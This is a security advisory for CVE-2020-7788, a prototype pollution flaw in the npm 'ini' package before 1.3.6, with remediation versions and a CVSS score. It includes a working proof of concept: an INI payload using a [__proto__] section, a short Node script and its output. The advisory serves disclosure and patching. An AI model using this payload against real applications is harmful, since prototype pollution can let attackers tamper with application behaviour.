CVE-2020-7788
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Description
### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```
How to fix CVE-2020-7788
To remediate CVE-2020-7788, upgrade the affected package to a fixed version below.
- —upgrade to 2.0.0-1 or later
- —upgrade to 1.1.0-1+deb9u1 or later
- —upgrade to 1.3.6 or later
Is CVE-2020-7788 being exploited?
Low — EPSS is 0.3%, meaning exploitation activity has not been observed at scale.
Affected packages (3)
- from 0, < 2.0.0-1
- from 0, < 1.1.0-1+deb9u1
- from 0, < 1.3.6
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L |